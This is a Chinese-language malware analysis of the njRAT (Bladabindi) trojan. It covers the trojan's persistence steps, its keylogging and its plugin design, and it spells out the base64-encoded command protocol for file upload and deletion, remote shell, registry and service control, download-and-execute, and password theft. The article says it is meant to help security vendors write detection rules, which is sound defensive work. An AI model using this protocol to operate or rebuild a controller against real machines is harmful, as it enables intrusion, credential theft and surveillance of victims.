Njrat, 又称 Bladabindi,该木马家族使用. NET 框架编写,是一个典型的 RAT 类程序,通过控制端可以操作受控端的文件、进程、服务、注册表内容,也可以盗取受控端的浏览器的保存的密码信息等内容。此外,还具有远程屏幕抓取,木马客户端升级等功能。
Njrat 采用了插件机制,通过使用不同的插件来扩展新的木马功能。本文涉及到 njrat 的三款插件,分别为: sc2.dll,ch.dll 和 pw.dll,其中的 ch.dll 用来实现与受控端的聊天对话功能。pw.dll 用来实现对受控端密码内容的抓取,sc2.dll 用来实现远程桌面功能。
当受控端上线时,主控端会弹出提示信息如下所示:
木马配置选项如下:
控制界面如下图
对于被控端代码(也就是木马程序)的总体代码结构如下图:
木马的 Main 函数入口只是调用了 Ok 类的 ko 方法。
通过互斥体来实现单实例运行。互斥体名称为 "f8782a013a20610e09216f21b705d856"。
1. 判断是不是在 temp 目录下
2. 如果不在 temp 目录下, 判断 temp 目录下是否有样本文件存在
3. 如果样本文件存在,刚将样本文件删除
4. 重新拷贝自己到临时目录下
5. 运行 temp 目录下的程序
设置注册表:
添加防火墙规则:
添加启动项,与主控端设置相关:
添加的注册表中启动项位置
添加的启动项的名称
开启线程键盘记录
键盘记录线程函数:
键盘记录到的内容:
通信中的关键数据使用 base64 加密的数据。通信命令各部分之间使用 |'|'| 分隔。
开启线程,与主控端通信
通信过程的内容主要分为四部分:
第一部分:命令类型如 Ex,un,div,rn,ret 等
第二部分为:命令的子类型,如 proc,tcp,RG,rs,srv
第三部分为:操作命令,如~ 表示查看,k 表示杀掉
第四部分为:操作命令对应的参数。如要杀死的进程名,要启动的服务名,要关闭的网络连接等
以下对于常用功能的通信命令进行详细分析。
Ex|'|'|fm|'|'|~
命令类型为 Ex, 命令子类型为 fm
操作命令类型如下:
! 对应打开文件内容,
dl 删除文件
rar 表示压缩文件
nm 表示重命名文件
up 表示上传文件
fl 表示
Ex|'|'|fm|'|'|!|'|'|QzpcVXNlcnNcQWRtaW5pc3RyYXRvclxEZXNrdG9wXA== 表示打开 "C:\Users\Administrator\Desktop\" 目录
Ex|'|'|fm|'|'|dl|'|'|RTpcZHVtcCAtIOWJr+acrC5leGUq 表示删除 "E:\dump - 副本. exe" 文件
Ex|'|'|fm|'|'|rar|'|'|RTpcLnJhcg==|'|'|RTpc|'|'|YSAteSAiRTpcLnJhciIgImR1bXAgLSDlia/mnKwubWFwIg== 将 "a -y"E:\.rar""dump - 副本. map"" 压缩到 "E:\.rar"(RTpcLnJhcg== 解 base64)
Ex|'|'|fm|'|'|nm|'|'|RTpcaHJzd29yZC5leGUqSEFIQSo = 将 E:\hrsword.exe 命名为 HAHA
Ex|'|'|fm|'|'|up|'|'|10.0.2.15:49200|'|'|RTpcZXhhbXBsZS5iYXQ=|'|'|8 将 "E:\example.bat" 文件上传到 10.0.2.15:49200 地址,文件的大小为 8 字节
Ex|'|'|fm|'|'|fl|'|'|d3d3LmJhaWR1LmNvbS9hLmpwZw==|'|'|RTpcd3d3LmJhaWR1LmNvbS9hLmpwZw== 将 下载到
命令格式为:
- Ex|'|'|tcp|'|'|操作命令|'|'|操作参数
- 操作命令中:!表示断开连接,~表示显示连接列表
- Ex|'|'|tcp|'|'|~|'|'| 表示显示所有的网络连接列表
- Ex|'|'|tcp|'|'|!|'|'|0.0.0.0:491540.0.0.0:0表示断开这条连接
命令格式为:
- Ex|'|'|RG|'|'|操作命令|'|'|操作参数
- 操作命令包括:
- ~表示查看命令,!表示新建命令,@表示删除注册表内容命令
- Ex|'|'|RG|'|'|!|'|'|HKEY_CURRENT_USER\|'|'|aaaa|'|'|bbb|'|'|1表示在HKEY_CURRENT_USER\注册表下新建名字为aaaa,内容为bbb,类型为1的注册表项
- Ex|'|'|RG|'|'|@|'|'|HKEY_CURRENT_USER\|'|'|aaaa删除aaaa的键值
- Ex|'|'|RG|'|'|~|'|'|HKEY_CURRENT_USER\ 查看注册表HKEY_CURRENT_USER下的内容
- 命令格式为:Ex|'|'|rs|'|'|操作命令|'|'|操作参数
- 操作命令包括:
- ~表示打开远程shell命令,!表示远程执行命令
- Ex|'|'|rs|'|'|~ 表示显示远程shell窗口
- Ex|'|'|rs|'|'|!|'|'|dGFza2xpc3Q= 远程运行tasklist命令
- 命令格式为:Ex|'|'| srv |'|'|操作命令|'|'|操作参数
- 操作命令包括:
- ~对应显示列表命令,@对应的暂停命令,!对应的停止命令,#对应开启服务命令
- Ex|'|'|srv|'|'|~ 显示所有的服务列表
- Ex|'|'|srv|'|'|!|'|'|AeLookupSvc 停止AeLookupSvc服务的命令
- 命令格式为:Ex|'|'| proc |'|'|操作命令|'|'|操作参数
- 操作命令包括:
- ~对应显示列表命令,k杀死指定进程
- Ex|'|'|proc|'|'|~ 显示进程列表
- Ex|'|'|proc|'|'|k|'|'|3036 杀死pid为3036的进程的通信命令
命令格式为:un |'|'| proc|'|'| 操作命令
操作命令包括:
- !结束木马端的运行,@重新启动木马客户端,
- ~卸载木马程序
卸载木马程序主要进行下面的操作
- 使用up 命令
- 有两种升级方式:本地磁盘文件升级和在线升级
- 使用在线升级的数据包内容为:
- up|'|'|木马升级包地址
- 本地升级数据包内容为:
- up|'|'|\u001F+本地升级包的zip压缩后的内容
被控端接收到下载执行的命令,解析出命令参数,使用 webClient 的 DownloadData 方法下载,下载成功后执行
脚本执行与本地执行:
主控端的脚本的内容会使用 ZIP 压缩后,再封装成命令包发送,控制端接收到命令后,会使用压缩算法解压后,将内容写入到临时目录下的指定的扩展名 (扩展名也由主控端发送确定) 后,执行。与下载执行的数据包内容不同之处在于,脚本执行与本地执行数据包的头两个字节为 001f
主控端向受控端发送 ret 指令,受控端接收到指令后,加载注册表中保存的 pw 插件,使用插件获取到密码后发送给主控端
主控端发送的命令为:
- ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|(
- 其中的b88ece4c04f706c9717bbe6fbda49ed2表示pw插件保存在注册表中的位置
- 受控端返回的密码信息格式为:
- ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|KiAqICogKiAqICogKiAqICogKiAqICogKiA=
- KiAqICogKiAqICogKiAqICogKiAqICogKiA=解base64后为"* * * * * * * * * * ** *",表示没有获得密码内容
从注册表中得到 ch 的组件,大小为 0×3000。
这里的通信并不是 "远程桌面" 的效果,而是下图中的缩略图的通信内容
通过 CopyFromScreen 得到屏幕截图保存到图片格式,随后将此次生成的图像与上次生成的图像进行 md5 比较,如果 md5 不一致, 则发送这次的截图数据。通过 md5 来对比图像是为了减少重复传输多次相同内容的图像。
通信的数据包内容为:
- CAP|'|'|35|'|'|23
表示向受控端请求的图像是用来显示在主控端的缩略图中
远程桌面的效果图:
通信的数据包命令为:div
木马端会根据控制端传送的数据包,判断注册表下是不是有对应的插件,如果没有,发送反馈包给控制端,随后控制端会发送一个经过压缩的 sc2.dll 的插件给受控端,受控端随后启用插件进行远程桌面的通信。并将插件写入到注册表中。
Njrat 是近年来最为活跃的木马家族之一。这一方面是因为木马简单易学,在网上随处可见配置木马的文章,另一方面,其强大的远控功能满足了网络犯罪的需要,甚至网络江湖中有传闻,极端组织 ISIS 也曾使用 njRAT 作为重要的网络武器。本文只是对 njRat 使用的各种远控功能的数据通话进行了梳理与罗列,只做技术学习交流。安全厂商可根据自身需要在其网络安全设备中加入相应的检测与防护策略,共同抵抗 njrat 的入侵。
来源: http://www.tuicool.com/articles/67vyiy